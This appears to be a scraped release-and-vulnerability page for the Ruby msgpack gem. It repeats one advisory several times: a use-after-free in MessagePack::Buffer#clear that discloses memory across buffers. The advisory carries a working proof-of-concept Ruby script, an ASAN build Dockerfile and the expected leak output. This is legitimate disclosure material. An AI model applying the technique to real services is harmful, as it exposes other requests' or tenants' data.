msgpack

Version	Released
`1.8.5` patch	Sep 11, 2026
`1.8.4` patch	Jul 28, 2026
`1.8.3` patch	Jun 10, 2026
`1.8.2` patch	Jun 09, 2026
`1.8.1` patch 1 CVE	May 28, 2026
`1.8.0` minor 1 CVE	Feb 06, 2025
`1.7.5` patch 1 CVE	Nov 11, 2024
`1.7.4` patch 1 CVE	Nov 11, 2024
`1.7.3` patch 1 CVE	Oct 04, 2024
`1.7.2` patch 1 CVE	Jul 18, 2023
`1.7.1` patch 1 CVE	May 19, 2023
`1.7.0` minor 1 CVE	Mar 29, 2023
`1.6.1` patch 1 CVE	Mar 03, 2023
`1.6.0` minor 1 CVE	Sep 30, 2022
`1.5.6` patch 1 CVE	Aug 23, 2022
`1.5.5` patch 1 CVE	Aug 22, 2022
`1.5.4` patch 1 CVE	Jul 25, 2022
`1.5.3` patch 1 CVE	Jul 01, 2022
`1.5.2` patch 1 CVE	May 27, 2022
`1.5.1` patch 1 CVE	Apr 07, 2022
`1.5.0` minor 1 CVE	Apr 06, 2022
`1.4.5` patch 1 CVE	Feb 15, 2022
`1.4.4` patch 1 CVE	Jan 22, 2022
`1.4.4.pre1` pre 1 CVE	Jan 21, 2022
`1.4.3` patch 1 CVE	Jan 20, 2022
`1.4.2` patch 1 CVE	Feb 01, 2021
`1.4.0` minor 1 CVE	Jan 27, 2021
`1.4.1` patch 1 CVE	Jan 27, 2021
`1.4.0.pre1` pre 1 CVE	Sep 08, 2020
`1.3.3` patch 1 CVE	Feb 05, 2020
`1.3.2` patch 1 CVE	Feb 04, 2020
`1.3.1` patch 1 CVE	Aug 05, 2019
`1.3.0` minor 1 CVE	Jun 20, 2019
`1.2.10` patch 1 CVE	Apr 19, 2019
`1.2.9` patch 1 CVE	Mar 13, 2019
`1.2.8` patch 1 CVE	Mar 11, 2019
`1.2.7` patch 1 CVE	Mar 01, 2019
`1.2.6` patch 1 CVE	Jan 08, 2019
`1.2.5` patch 1 CVE	Jan 08, 2019
`1.2.4` patch 1 CVE	Mar 02, 2018
`1.2.3` patch 1 CVE	Mar 02, 2018
`1.2.2` patch 1 CVE	Jan 11, 2018
`1.2.1` patch 1 CVE	Dec 08, 2017
`1.2.0` minor 1 CVE	Dec 07, 2017
`1.1.0` minor 1 CVE	Feb 28, 2017
`1.0.3` patch 1 CVE	Jan 25, 2017
`1.0.1` patch 1 CVE	Oct 17, 2016
`1.0.2` patch 1 CVE	Oct 17, 2016
`1.0.0` major 1 CVE	Jul 08, 2016
`0.7.6` patch 1 CVE	May 10, 2016

1.8.5 patch

Sep 11, 2026

1.8.4 patch

Jul 28, 2026

1.8.3 patch

Jun 10, 2026

1.8.2 patch

Jun 09, 2026

1.8.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

May 28, 2026

1.8.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 06, 2025

1.7.5 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 11, 2024

1.7.4 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 11, 2024

1.7.3 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 04, 2024

1.7.2 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
